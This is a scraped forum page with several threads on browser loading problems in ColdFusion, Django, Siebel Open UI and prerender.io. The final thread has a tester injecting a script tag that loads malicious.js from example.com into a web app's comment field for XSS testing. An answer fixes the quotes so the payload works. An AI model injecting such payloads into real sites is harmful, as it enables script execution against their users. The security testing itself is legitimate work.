We have a Windows server running ColdFusion 8. When I load a CF page from that server in a browser, the page content is displayed almost immediately, but the connection does not close. The browser's "page loading" icon keeps spinning for another ten seconds.
I did a test where I created two files: test.cfm and test.html and loaded them side by side on the server. Each file contains only a single line of text: "This is a test." When I load each page in a browser, both pages display the text immediately, but only the CF page keeps "loading" for another ten seconds.
This behavior is making our AJAX-driven pages unusable. What is causing this behavior, and how I can fix it?
There must be some code in there trying to do something. And it may not be in the page itself, it could be in an include or the application file.
That type of spinning cursor behaviour sounds like some sort of ajax call failing after the initial page load.
One thing that would help is to turn on ColdFusion debugging and post the results here.
ColdFusion and Ajax, out of the box work very well together, and ColdFusion has an almost insanely simple page debugging tool that make it extremely easy to see the execution path of the CFM file and where the page is spending its time.
Have you restarted the CF service? If there are already hung requests or other problems then that will likely be the only way to resolve.
Related
I am sorry that my English is not good. My problem is that refreshing the page in Google Chrome will cause the function with render to run twice But run it once in the Firefox browser. I don't know if this is a problem with Google Chrome or something else?（I hope to get help, thank you）
def add_teacher(request):
Teacher.objects.create(username='zhangs',avatar='https://static-image.xfz.cn/11.jpg',jobtitle='a',profile='b')
print('==')
return render(request,'course/course_index.html')
Both Google and Firefox run the same content.
Two teachers' data will be created when Google Chrome refreshes the page, But only one piece of data is created when Firefox is running. Pycharm will also print two ‘==’ content when Google runs. Print one on Firefox.
I'm developing a website with Django 2.2, using :
Centos 7
Mozilla Firefox 60.6.0
Google Chrome 73.0.3683.86
Docker and Docker compose
The first page allows the user to submit data from a formatted file (equivalent to csv) and the second page shows the result of calculations (done row by row) in a datatable.
I have noticed a difference between Mozilla Firefox and Google Chrome:
For big files, on Chrome, the web browser waits long enough to receive and display the results of calculations. Whereas in Firefox, the web browser stops waiting for localhost and the "results" page is not loaded.
As the problem occured when the file exceeded a certain size, I have guessed that the app spent too much calculating time and Firefox stopped waiting for the response before to load the "results" page.
So I changed my view to accelerate calculations. The problem still persists with big files. With files from approximately 3.5Mo the results page os displayed or not (almost randomly).
I tried to raise "dom.max_script_run_time" in my Mozilla settings but this can't be done programatically.
I saw that Celery can be used for long time running calculations, but in my case, calculations can be performed on 1 or 3000 rows. I would like to find a solution without using Celery.
Another solution could be to use JavaScript to set a timeout when Firefox is detected as web browser, the to add a error message, I also would like to avoid this.
I expect my app to work well at least on Mozilla Firefox, Safari, Opera and Google Chrome Web browsers.
Thanks for your help !
We are using Siebel citizen portal application (IP 15.12). After login, we reach in to a landing page with 3 applets. These applets have some custom fields etc, but there is no UI customization we did (ie no PM/PR etc).
Now when we login, a blank layout of the applet appears for a few seconds (especially first load or after clearing cache) and then renders the original applet with Open UI layout. Since this is a customer facing application, our client has a lot of concern on appearing the blank layout before the actual rendered applet.
Could anyone throw some light here? Is this an Open UI behavior, if so is there any workaround for this?
With IP 15.18, We had similar issue of the list applets not loading data on initial (home page load) after login. Only the list applet titles were displayed but the form applet loaded elements, showing the busy cursor forever...
We were getting "Error downloading file define:siebel/htmltmplmgr" error in the browser console. we debugged and found that the localeobject.js was not loading, which is the dependency file mentioned in htmltmplmgr.js...So we added preload define parameter in the htmltmplmgr.js in the beginning to load the localeobject.js file before even the main function starts...then it started working...try this...
On first load or after clear cahce, it needs to load all JS files (vanilla) and other required files in Open UI. So, this is the default behavior of OpenUI.
Nothing much we can do with this. Else you can tweak down all unnecessary files from downloading.
I found this blog very useful, you can check.
http://www.askmesiebel.com/category/siebel-8-1-1-10-upgrade-issue/
edit the file htmltmplmgr.js in below folders
$SIEBEL_ROOT/siebsrvr/webmaster/siebel_build/scripts/siebel/
$SIEBEL_ROOT/SWEApp/public/enu/23048/scripts/siebel/
go to define section and add dependency files inside the square brackets
define("siebel/htmltmplmgr",[]
define("siebel/htmltmplmgr",["siebel/siebelconstants.js","siebel/localeobject.js"]
Note that you have to edit the files in both folders you can create a backup before making changes. If you just replace in public folder when you restart siebel server files will be overwritten from webmaster/siebel_build folder to public folder . Hence you have to replace in both folders and restart siebel server and web server.
I installed prerender.io with Nginx on my Ember.js project.I use the Facebook debugger to check if the prerender is installed correctly. The problem:
Each first hit of the prerender is a fail. Unfortunately, Facebook caches this version, so it is the one that is displayed on the site.
When I ask "Fetch new scrape informations", I get a hit and the content is displayed properly.
How can I make the first try a hit?
GUESSES
Maybe there is a problem with window.prerenderReady, that is used in my project (ember-prerender)?
Maybe the Nginx configuration does not wait for the result of the caching, or the caching is too long?
INFOS
I use Nginx with the standard configuration recommended by prerender.io
Facebook can timeout if the response takes longer than 5 seconds. It sounds like your pages are taking 5+ seconds to render when being rendered on the fly. The reason it works the second time is because the page is cached at that point and returned in < 100ms.
I'd suggest trying to speed up your page loading time so that pages rendered on the fly are returned more quickly. Send and email to support#prerender.io if you want some help there! We can send you the timings of requests being made on your URLs.
I'm testing an web application against xss attack. In that there are list of events and each one has comment area, in one of the event, i inserted this script,
<script src=”http://www.example.com/malicious.js”></script >
The event showed a flag, that there is a comment, but it is not getting displayed. The problem here is whenever i click on that event, the app crashes, and the browser gives "Recover page".
But in Chrome, it is accepting that script, displays it as empty comment(" "), and its not getting crashed why?
I reset the browser settings in IE, but the same issue appears.
So is that due to Chrome not processing the virus(not sure), or IE processes it?
And i tried this script,
<script >alert("Hello");</script >
Both browsers acts in a same ways without crashing.
So can you please give me an idea of whats happening in it?
You appear to be using some non-standard quotation marks. Try replacing with this:
<script src="http://www.example.com/malicious.js"></script>